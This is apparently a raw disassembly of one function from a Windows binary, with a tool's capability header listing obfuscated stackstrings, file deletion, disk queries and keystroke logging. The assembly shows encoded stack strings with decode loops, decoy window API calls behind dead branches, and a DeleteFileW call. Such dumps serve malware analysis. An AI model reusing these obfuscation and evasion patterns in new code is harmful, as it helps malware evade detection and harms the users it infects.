Function at 0x100ed2e8
Capabilities:
Contain obfuscated stackstrings
Delete file
Get common file path
Get disk information
Log keystrokes via polling
Parse pe header

Disassembly:
mov eax, 0x1014bbd6
call fcn.1013e250
mov eax, 0x2980
call fcn.10130b20
push ebx
push esi
mov eax, edx
mov dword [ebp - 0x30], ecx
xor ebx, ebx
mov dword [ebp - 0x44], eax
push edi
mov dword [ebp - 0x3c], ebx
xor ecx, ecx
mov dword [ebp - 4], ebx
inc ecx
cmp dword [eax + 0x10], ebx
jne 0x100ed31f
mov byte [ebp - 0x15], bl
jmp 0x100f3fa9
mov dword [ebp - 0x20], 0xe456
lea ecx, [ebp - 0x9c8]
mov dword [ebp - 0x28], 0xbc7dcd66
mov dword [ebp - 0x24], ebx
push 3
call fcn.10013ee8
mov dword [ebp - 0x28], 0x198ab79a
mov dword [ebp - 0x2c], 0xfffffffd
mov dword [ebp - 0x1c], ebx
jmp 0x100ed363
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x9c8]
mov dword [eax + ecx*4], 0x167c28ca
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100ed350
cmp dword [ebp - 0x24], ebx
jne 0x100ed37a
cmp dword [ebp - 0x20], ebx
jne 0x100ed37a
xor edx, edx
mov ecx, ebx
inc edx
jmp 0x100ed37f
xor edx, edx
inc edx
mov ecx, edx
xor eax, eax
mov dword [ebp - 0x28], edx
cmp ecx, 0xa9dade66
mov ecx, dword [ebp - 0x28]
push 0
setne al
sub ecx, eax
mov eax, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, eax
mov eax, dword [ebp - 0x9c8]
mov dword [eax + 4], ecx
pop eax
setne al
xor edx, edx
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
lea ecx, [ebp - 0x9c8]
setle dl
mov dword [ebp - 0x2c], edx
call fcn.100144eb
push ecx
push ecx
lea ecx, [ebp - 0x1aa4]
call fcn.100f686c
xor eax, eax
lea ecx, [ebp - 0x1a94]
inc eax
mov edx, 0xfeff
mov byte [ebp - 4], al
call fcn.1004749d
push 0x3c
pop ecx
xor eax, eax
mov dword [ebp - 0x8cc], 0x336d6e03
push 7
inc eax
mov dword [ebp - 0x8c8], 0x6c4d745d
pop edx
mov byte [ebp - 0x8c4], al
mov dword [ebp - 0x8c3], 0x38212b12
mov dword [ebp - 0x8bf], 0x4c41704b
mov dword [ebp - 0x8bb], 0x7f047e5e
mov dword [ebp - 0x8b7], 0x8019813e
mov word [ebp - 0x8b3], 0x6d29
mov byte [ebp - 0x8b1], cl
mov dword [ebp - 0x8b0], 0x604e0f93
mov dword [ebp - 0x8ac], 0x5c751f96
mov word [ebp - 0x8a8], 0x6c86
mov byte [ebp - 0x8a6], 0x54
mov byte [ebp - 0x8a5], dl
mov dword [ebp - 0x8a4], 0x6292538c
mov dword [ebp - 0x8a0], 0x3d5f6e99
mov dword [ebp - 0x89c], 0x769c779c
mov dword [ebp - 0x898], 0x587235a6
mov dword [ebp - 0x894], 0x79a70ca6
mov dword [ebp - 0x890], 0x7a5f1d79
mov dword [ebp - 0x88c], 0x5f632449
mov dword [ebp - 0x888], 0x5b86672
mov dword [ebp - 0x884], 0x528f2067
mov dword [ebp - 0x880], 0x4c7c49b8
mov dword [ebp - 0x87c], 0x61816ab7
mov dword [ebp - 0x878], 0x6b9425bc
mov dword [ebp - 0x874], 0x3bc8568b
mov dword [ebp - 0x870], 0x479a1c7b
mov dword [ebp - 0x86c], 0x42811399
mov dword [ebp - 0x868], 0x33c67585
mov dword [ebp - 0x864], 0x78dd72d6
mov dword [ebp - 0x860], 0x108d2d8d
mov dword [ebp - 0x85c], 0x51e4409d
mov dword [ebp - 0x858], 0x65b128a1
mov dword [ebp - 0x854], 0x73ec57ee
mov dword [ebp - 0x850], 0x32ef55aa
mov dword [ebp - 0x84c], 0x11a336e8
mov dword [ebp - 0x848], 0x4fbb23b3
mov dword [ebp - 0x844], 0x3ffc09e8
push 0x18
pop ecx
mov dword [ebp - 0x8d4], ecx
mov esi, ebx
mov byte [ebp - 0x7fb], cl
push 0x3c
pop ecx
mov byte [ebp - 0x7f4], cl
mov ecx, ebx
mov dword [ebp - 0x840], 0x17cb26f9
mov dword [ebp - 0x83c], 0x5b0450fe
mov dword [ebp - 0x838], 0x27095ac1
mov dword [ebp - 0x834], 0xec86fa1
mov dword [ebp - 0x830], 0x1bcb38bd
mov dword [ebp - 0x82c], 0x140e7006
mov byte [ebp - 0x828], 8
mov byte [ebp - 0x827], al
mov dword [ebp - 0x826], 0x1ad968e4
mov dword [ebp - 0x822], 0x44da4817
mov dword [ebp - 0x81e], 0x22213021
mov dword [ebp - 0x81a], 0x2c081ee2
mov dword [ebp - 0x816], 0x45200a20
mov dword [ebp - 0x812], 0x312e2b2d
mov dword [ebp - 0x80e], 0x43370230
mov dword [ebp - 0x80a], 0x74311529
mov dword [ebp - 0x806], 0x6282a39
mov dword [ebp - 0x802], 0x3afc373f
mov word [ebp - 0x7fe], 0x67ef
mov byte [ebp - 0x7fc], 0xfe
mov dword [ebp - 0x7fa], 0x34053935
mov word [ebp - 0x7f6], 0x2f43
mov dword [ebp - 0x7f3], 0x3f630969
mov dword [ebp - 0x7ef], 0x45594d46
mov dword [ebp - 0x7eb], 0x1f00544a
mov dword [ebp - 0x7e7], 0x59084e71
mov dword [ebp - 0x7e3], 0x280d564e
mov dword [ebp - 0x7df], 0x652e5c0b
mov dword [ebp - 0x7db], 0x56545416
mov word [ebp - 0x7d7], 0x6464
cmp ecx, 8
jne 0x100ed6b0
mov esi, eax
mov ecx, edx
jmp 0x100ed6e9
movzx eax, byte [ebp + ecx - 0x8cb]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ed6d3
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x8cc]
push 7
mov word [ebp + eax*2 - 0x25a4], dx
xor eax, eax
inc eax
pop edx
add ecx, 2
cmp ecx, 0xf7
jb 0x100ed6a5
xor eax, eax
mov word [ebp - 0x24ae], ax
mov dword [ebp - 0x14], 0x3d06
mov dword [ebp - 0x1c], 5
mov dword [ebp - 0x28], 3
dec dword [ebp - 0x14]
push 0xfffffffffffffff7
pop esi
je 0x100ed740
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
dec edx
cmp eax, edx
setle cl
sub ecx, dword [ebp - 0x14]
cmp ecx, esi
jle 0x100ed740
xor eax, eax
lea edx, [eax + 1]
jmp 0x100ed742
mov edx, ebx
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], ebx
jne 0x100ed771
cmp dword [ebp - 0x28], ebx
jne 0x100ed771
mov edx, ebx
jmp 0x100ed776
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp edx, eax
push 0xfffffffffffffffa
setle cl
add ecx, dword [ebp - 0x14]
pop edi
cmp ecx, dword [ebp - 0x14]
jne 0x100ed7bd
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100ed8b4
push 0xe07
push 0x1c5f
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_LineTo]
jmp 0x100ed8b4
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x2c], 0x9248e6ba
cmp dword [ebp - 0x1c], ebx
je 0x100ed85e
cmp dword [ebp - 0x20], ebx
jne 0x100ed7de
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setge dl
cmp edx, dword [ebp - 0x14]
jle 0x100ed85e
xor edx, edx
inc edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x34], 0xb1b9b96
cmp dword [ebp - 0x20], ebx
je 0x100ed827
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
add eax, dword [ebp - 0x28]
cmp eax, edx
mov eax, dword [ebp - 0x2c]
setg cl
xor edx, edx
cmp edx, eax
sbb eax, eax
inc edx
neg eax
cmp ecx, eax
mov eax, edx
jne 0x100ed829
mov eax, ebx
cmp eax, dword [ebp - 0x28]
jle 0x100ed835
mov ecx, ebx
cmp dword [ebp - 0x34], ebx
je 0x100ed837
mov ecx, edx
xor eax, eax
cmp ecx, edi
mov ecx, dword [ebp - 0x24]
sete al
sub ecx, eax
mov eax, edx
sub ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x1c]
inc dword [ebp - 0x24]
cmp ecx, edx
cmovbe eax, ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
jmp 0x100ed893
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100ed881
push 0x1e34
push 0x53e
xor eax, eax
inc eax
push eax
push ebx
push 0x2645
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100ed893
call esi
push eax
call dword [sym.imp.USER32.dll_IsWindow]
mov dword [ebp - 0x24], ebx
jmp 0x100ed8ae
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100ed8ab
push ebx
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
je 0x100ed898
lea eax, [ebp - 0x25a4]
push eax
lea ecx, [ebp - 0x1eac]
call fcn.10013e17
mov edx, eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1a94]
call fcn.10047308
xor eax, eax
lea ecx, [ebp - 0x1eac]
inc eax
push ebx
push eax
mov byte [ebp - 4], al
call fcn.10014448
mov dword [ebp - 0x14], ebx
xor ecx, ecx
mov dword [ebp - 0x1c], 0xffffffff
inc ecx
mov dword [ebp - 0x1c], ebx
jmp 0x100ed90d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x9f8], 0x51ad
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100ed8fc
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 0xffffffe2
jne 0x100ed954
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jl 0x100ed942
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100ed93d
push ebx
call esi
push eax
call dword [sym.imp.USER32.dll_SetMenu]
dec dword [ebp - 0x1c]
jns 0x100ed92a
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe2
je 0x100ed91b
xor ecx, ecx
inc ecx
mov dword [ebp - 0x14], ebx
jmp 0x100ed987
mov dword [ebp - 0x1c], 0x11
jmp 0x100ed97c
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100ed976
push ecx
push ebx
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
dec dword [ebp - 0x1c]
push 1
pop ecx
cmp dword [ebp - 0x1c], edi
jne 0x100ed962
inc dword [ebp - 0x14]
push 1
pop ecx
cmp dword [ebp - 0x14], 0x11
jg 0x100ed959
push 0x3e
pop ecx
xor eax, eax
lea edi, [ebp - 0x25a4]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x1c], ebx
jmp 0x100ed9b7
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1b1c], 0x6801fc3e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100ed9a6
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100ed9cd
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x20], ebx
jmp 0x100edaa9
mov dword [ebp - 0x24], 0x7df2f4a8
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
jmp 0x100eda97
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], ebx
jl 0x100eda4c
mov dword [ebp - 0x1c], ebx
jmp 0x100eda0c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x968], 0x1d21f1eb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100ed9fb
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x1b1c], ebx
jne 0x100eda4c
mov dword [ebp - 0x964], ebx
jmp 0x100eda3e
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100eda38
call esi
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
inc dword [ebp - 0x964]
cmp dword [ebp - 0x964], 2
jle 0x100eda26
dec dword [ebp - 0x14]
jns 0x100ed9f6
mov dword [ebp - 0x14], ebx
jmp 0x100eda8e
mov dword [ebp - 0x1c], 6
mov dword [ebp - 0x1c], ebx
jmp 0x100eda85
mov dword [ebp - 0x28], 0x8339
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x1d
jle 0x100eda5d
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffea
jl 0x100eda51
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffeb
je 0x100ed9e7
cmp dword [ebp - 0x28], ebx
jne 0x100edab3
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x1d
jg 0x100ed9d5
mov dword [ebp - 0x24], 0x2db58e46
mov dword [ebp - 0x2c], 0xe57ad95e
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], 0xffffffe6
jmp 0x100edaf9
mov dword [ebp - 0x1c], ebx
jmp 0x100edae2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1af8], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100edad5
mov eax, dword [ebp - 0x24]
add eax, 0x5a9576c3
mov dword [ebp - 0x1af0], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jge 0x100edad0
push 7
pop eax
mov byte [ebp - 0xc0], al
mov ecx, ebx
xor eax, eax
mov dword [ebp - 0xc8], 0x68066804
inc eax
mov dword [ebp - 0xc4], 0x45090f0a
mov dword [ebp - 0xbf], 0xeb10097b
mov esi, ebx
mov dword [ebp - 0xbb], 0xaff5b103
mov dword [ebp - 0xb7], 0x47004aa4
mov byte [ebp - 0xb3], al
mov dword [ebp - 0xb2], 0x3760561
mov dword [ebp - 0xae], 0x286087a
mov byte [ebp - 0xaa], 0x87
cmp ecx, 0xa
jne 0x100edb6f
push 9
pop esi
push 0x11
pop ecx
jmp 0x100edba2
movzx eax, byte [ebp + ecx - 0xc7]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100edb92
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0xc8]
mov word [ebp + eax*2 - 0x1b10], dx
add ecx, 2
cmp ecx, 0x1f
jb 0x100edb62
xor eax, eax
lea ecx, [ebp - 0x1c0c]
mov word [ebp - 0x1afa], ax
lea eax, [ebp - 0x1b10]
push eax
call fcn.10013e17
mov edx, eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1a94]
call fcn.10047308
xor eax, eax
lea ecx, [ebp - 0x1c0c]
inc eax
push ebx
push eax
mov byte [ebp - 4], al
call fcn.10014448
push 6
xor eax, eax
lea edi, [ebp - 0x1b10]
pop ecx
rep stosd dword es:[edi], eax
inc eax
test byte [ebp + 0xc], al
je 0x100ee002
push 7
pop ecx
push 0x3c
mov byte [ebp - 0x5ea], al
mov esi, ebx
pop eax
push 0x18
mov byte [ebp - 0x5aa], al
pop eax
mov byte [ebp - 0x636], cl
mov ecx, ebx
mov dword [ebp - 0x63c], 0x45310b0e
mov word [ebp - 0x638], 0x5902
mov dword [ebp - 0x635], 0xc4e1279
mov dword [ebp - 0x631], 0x2649117d
mov dword [ebp - 0x62d], 0x223e4173
mov dword [ebp - 0x629], 0x1f7a2574
mov dword [ebp - 0x625], 0x29860446
mov dword [ebp - 0x621], 0x10891624
mov dword [ebp - 0x61d], 0xac9ccbe1
mov dword [ebp - 0x619], 0xde1c2267
mov dword [ebp - 0x615], 0xe62820fc
mov dword [ebp - 0x611], 0x43156e99
mov dword [ebp - 0x60d], 0x6861d57
mov dword [ebp - 0x609], 0x282e0077
mov dword [ebp - 0x605], 0x24321031
mov dword [ebp - 0x601], 0x35a23397
mov dword [ebp - 0x5fd], 0x449a0393
mov dword [ebp - 0x5f9], 0x3b961487
mov dword [ebp - 0x5f5], 0x179b1567
mov dword [ebp - 0x5f1], 0x37af2fa0
mov word [ebp - 0x5ed], 0x2eb1
mov byte [ebp - 0x5eb], 0xa2
mov dword [ebp - 0x5e9], 0x36ba1c7f
mov dword [ebp - 0x5e5], 0x1bb713a8
mov dword [ebp - 0x5e1], 0xf8b39bd
mov dword [ebp - 0x5dd], 0x34824258
mov dword [ebp - 0x5d9], 0x1ec91ac1
mov dword [ebp - 0x5d5], 0x2b971993
mov dword [ebp - 0x5d1], 0xbb02c97
mov dword [ebp - 0x5cd], 0x5913dc4
mov dword [ebp - 0x5c9], 0x2a923ec8
mov dword [ebp - 0x5c5], 0x38cb2370
mov dword [ebp - 0x5c1], 0x40db21e4
mov dword [ebp - 0x5bd], 0x9a33aa3
mov dword [ebp - 0x5b9], 0x2dde08da
mov dword [ebp - 0x5b5], 0xab70deb
mov dword [ebp - 0x5b1], 0x32bb27e2
mov word [ebp - 0x5ad], 0x20ee
mov byte [ebp - 0x5ab], 0xc6
mov byte [ebp - 0x5a9], 0xb3
mov byte [ebp - 0x5a8], al
mov dword [ebp - 0x5a7], 0x30b73fe9
mov byte [ebp - 0x5a3], 0xfd
cmp ecx, 0x1e
jne 0x100eddc7
push 0x10
pop esi
push 0x2c
pop ecx
jmp 0x100eddfa
movzx eax, byte [ebp + ecx - 0x63b]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100eddea
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x63c]
mov word [ebp + eax*2 - 0x2334], dx
add ecx, 2
cmp ecx, 0x9a
jb 0x100eddba
xor eax, eax
lea ecx, [ebp - 0x1e4c]
mov word [ebp - 0x22aa], ax
lea eax, [ebp - 0x2334]
push eax
call fcn.10013e17
mov edx, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1a94]
call fcn.10047308
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push ebx
push eax
mov byte [ebp - 4], al
call fcn.10014448
push 0x23
pop ecx
xor eax, eax
lea edi, [ebp - 0x2334]
rep stosd dword es:[edi], eax
push 2
pop edx
lea ecx, [ebp - 0x1da4]
call fcn.100ebb0a
mov edx, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1a94]
call fcn.10047308
xor eax, eax
lea ecx, [ebp - 0x1da4]
inc eax
push ebx
push eax
mov byte [ebp - 4], al
call fcn.10014448
push 0x18
pop eax
mov byte [ebp - 0x2f4], al
mov ecx, ebx
push 7
pop eax
mov byte [ebp - 0x2e4], al
mov esi, ebx
xor eax, eax
mov dword [ebp - 0x2f3], 0x57c0e55
inc eax
mov dword [ebp - 0x2ef], 0x10791e77
mov dword [ebp - 0x2eb], 0x19800913
mov word [ebp - 0x2e7], 0xb7f
mov byte [ebp - 0x2e5], 0x73
mov dword [ebp - 0x2e3], 0x870653
mov dword [ebp - 0x2df], 0x15780c51
mov dword [ebp - 0x2db], 0xd7c0482
mov dword [ebp - 0x2d7], 0x28e088f
mov dword [ebp - 0x2d3], 0x12901674
mov dword [ebp - 0x2cf], 0x17301161
mov word [ebp - 0x2cb], 0xa8e
mov byte [ebp - 0x2c9], 0x99
mov byte [ebp - 0x2c8], al
mov dword [ebp - 0x2c7], 0x1ca3035c
mov dword [ebp - 0x2c3], 0x401c0d98
mov dword [ebp - 0x2bf], 0x23bc515f
mov dword [ebp - 0x2bb], 0xd735d8a9
mov dword [ebp - 0x2b7], 0x62130074
mov dword [ebp - 0x2b3], 0x9e1b9a1d
mov dword [ebp - 0x2af], 0x791fa21a
mov dword [ebp - 0x2ab], 0x7d0f9114
cmp ecx, 0x32
jne 0x100edf79
push 0xd
pop esi
push 0x3d
pop ecx
jmp 0x100edfac
movzx eax, byte [ebp + ecx - 0x2f3]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100edf9c
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x2f4]
mov word [ebp + eax*2 - 0x1ffc], dx
add ecx, 2
cmp ecx, 0x4d
jb 0x100edf6c
xor eax, eax
lea ecx, [ebp - 0x1c24]
mov word [ebp - 0x1fbc], ax
lea eax, [ebp - 0x1ffc]
push eax
call fcn.10013e17
mov edx, eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x1a94]
call fcn.10047308
xor eax, eax
lea ecx, [ebp - 0x1c24]
inc eax
push ebx
push eax
mov byte [ebp - 4], al
call fcn.10014448
push 0x10
pop ecx
xor eax, eax
lea edi, [ebp - 0x1ffc]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x1c], ebx
lea ecx, [ebp - 0x9a4]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x20], 0xd4a55f07
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x24], 0xd8143836
push 4
call fcn.10013ee8
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x28], 0x717b
mov dword [ebp - 0x24], ebx
jmp 0x100ee050
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x9a4]
mov dword [eax + ecx*4], 2
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x100ee03d
xor edx, edx
inc edx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
neg eax
cmp eax, 0xb5e49576
sbb ecx, ecx
xor eax, eax
neg ecx
imul ecx, dword [ebp - 0x1c]
cmp ecx, 0x360de574
setge al
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jne 0x100ee08f
cmp dword [ebp - 0x2c], ebx
jne 0x100ee08f
mov edx, ebx
mov eax, dword [ebp - 0x9a4]
xor ecx, ecx
cmp edx, dword [eax + 4]
setge cl
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x28], ebx
jne 0x100ee0a8
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x9a4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
call fcn.100144eb
test byte [ebp + 0xc], 2
je 0x100eef7f
push 7
pop eax
mov byte [ebp - 0x478], al
mov ecx, ebx
xor eax, eax
mov dword [ebp - 0x484], 0x4824550a
inc eax
mov dword [ebp - 0x480], 0x45116a21
push 0x18
mov byte [ebp - 0x464], al
mov esi, ebx
mov byte [ebp - 0x44e], al
pop eax
mov dword [ebp - 0x47c], 0x6c03720c
mov dword [ebp - 0x477], 0x284d2b71
mov dword [ebp - 0x473], 0x17851f7d
mov dword [ebp - 0x46f], 0xf1c01283
mov dword [ebp - 0x46b], 0x74913f5f
mov word [ebp - 0x467], 0xf732
mov byte [ebp - 0x465], 0x1c
mov dword [ebp - 0x463], 0xc3d6c248
mov dword [ebp - 0x45f], 0x109f456f
mov dword [ebp - 0x45b], 0x197e0f89
mov dword [ebp - 0x457], 0x44c237d
mov dword [ebp - 0x453], 0x880d8b
mov byte [ebp - 0x44f], 0x2c
mov dword [ebp - 0x44d], 0x26301461
mov dword [ebp - 0x449], 0x20901b8a
mov dword [ebp - 0x445], 0x2c9d25a2
mov dword [ebp - 0x441], 0x2778163b
mov dword [ebp - 0x43d], 0xe9b2a97
mov dword [ebp - 0x439], 0x6a71aa0
mov byte [ebp - 0x435], 0xab
mov byte [ebp - 0x434], al
mov dword [ebp - 0x433], 0x1e7f1da0
mov dword [ebp - 0x42f], 0x8aa29b7
mov dword [ebp - 0x42b], 0x22ad1ca8
mov dword [ebp - 0x427], 0xbbf0987
mov dword [ebp - 0x423], 0x59402c1
mov dword [ebp - 0x41f], 0x135f12b8
mov word [ebp - 0x41b], 0x1560
mov byte [ebp - 0x419], 0x95
cmp ecx, 0x16
jne 0x100ee219
push 0x12
pop esi
push 0x26
pop ecx
jmp 0x100ee24c
movzx eax, byte [ebp + ecx - 0x483]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ee23c
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x484]
mov word [ebp + eax*2 - 0x20ec], dx
add ecx, 2
cmp ecx, 0x6c
jb 0x100ee20c
xor eax, eax
lea ecx, [ebp - 0x1c54]
mov word [ebp - 0x2092], ax
lea eax, [ebp - 0x20ec]
push eax
call fcn.10013e17
push 7
pop ecx
mov byte [ebp - 4], cl
mov edx, eax
lea ecx, [ebp - 0x1a94]
call fcn.10047308
xor eax, eax
lea ecx, [ebp - 0x1c54]
inc eax
push ebx
push eax
mov byte [ebp - 4], al
call fcn.10014448
push 0x17
pop ecx
xor eax, eax
mov dword [ebp - 0x254], 0x75063f10
lea edi, [ebp - 0x20ec]
mov dword [ebp - 0x250], 0x43023516
rep stosd dword es:[edi], eax
push 0x18
pop ecx
push 7
pop eax
mov byte [ebp - 0x23e], al
mov esi, ebx
xor eax, eax
mov byte [ebp - 0x245], cl
inc eax
mov byte [ebp - 0x21c], cl
mov dword [ebp - 0x24c], 0x7d0e5c03
mov ecx, ebx
mov word [ebp - 0x248], 0x7b0b
mov byte [ebp - 0x246], bl
mov dword [ebp - 0x244], 0x87043e15
mov word [ebp - 0x240], 0x4711
mov dword [ebp - 0x23d], 0x148e0a8b
mov word [ebp - 0x239], 0xd4b
mov byte [ebp - 0x237], 0x7e
mov byte [ebp - 0x236], al
mov dword [ebp - 0x235], 0x12630828
mov dword [ebp - 0x231], 0x106faa33
mov dword [ebp - 0x22d], 0xdf8e690c
mov dword [ebp - 0x229], 0x37e76462
mov dword [ebp - 0x225], 0x78a03e6e
mov dword [ebp - 0x221], 0x1b5717a8
mov byte [ebp - 0x21d], 0x79
mov dword [ebp - 0x21b], 0x1a980954
mov dword [ebp - 0x217], 0x55e1963
mov dword [ebp - 0x213], 0x13611290
mov dword [ebp - 0x20f], 0xcae0f63
mov byte [ebp - 0x20b], 0x9b
cmp ecx, 0x22
jne 0x100ee3a0
push 0x12
pop esi
push 0x32
pop ecx
jmp 0x100ee3d3
movzx eax, byte [ebp + ecx - 0x253]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ee3c3
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x254]
mov word [ebp + eax*2 - 0x1f54], dx
add ecx, 2
cmp ecx, 0x4a
jb 0x100ee393
xor eax, eax
lea ecx, [ebp - 0x1ccc]
mov word [ebp - 0x1f1c], ax
lea eax, [ebp - 0x1f54]
push eax
call fcn.10013e17
mov edx, eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x1a94]
call fcn.10047308
xor eax, eax
lea ecx, [ebp - 0x1ccc]
inc eax
push ebx
push eax
mov byte [ebp - 4], al
call fcn.10014448
push 0xe
pop ecx
xor eax, eax
lea edi, [ebp - 0x1f54]
rep stosd dword es:[edi], eax
push 2
pop edx
lea ecx, [ebp - 0x1d20]
stosw word es:[edi], ax
call fcn.100ebb0a
mov edx, eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1a94]
call fcn.10047308
xor eax, eax
lea ecx, [ebp - 0x1d20]
inc eax
push ebx
push eax
mov byte [ebp - 4], al
call fcn.10014448
xor eax, eax
mov word [ebp - 0x1b8], 0xb10
inc eax
mov dword [ebp - 0x1b5], 0x5660c32
push 7
mov byte [ebp - 0x1b6], al
mov ecx, ebx
pop eax
push 0x3c
mov byte [ebp - 0x19a], al
mov esi, ebx
pop eax
mov dword [ebp - 0x1b1], 0xf7d0679
mov dword [ebp - 0x1ad], 0xb820949
mov dword [ebp - 0x1a9], 0xe4d0073
mov dword [ebp - 0x1a5], 0x484088c
mov dword [ebp - 0x1a1], 0xa8b0d78
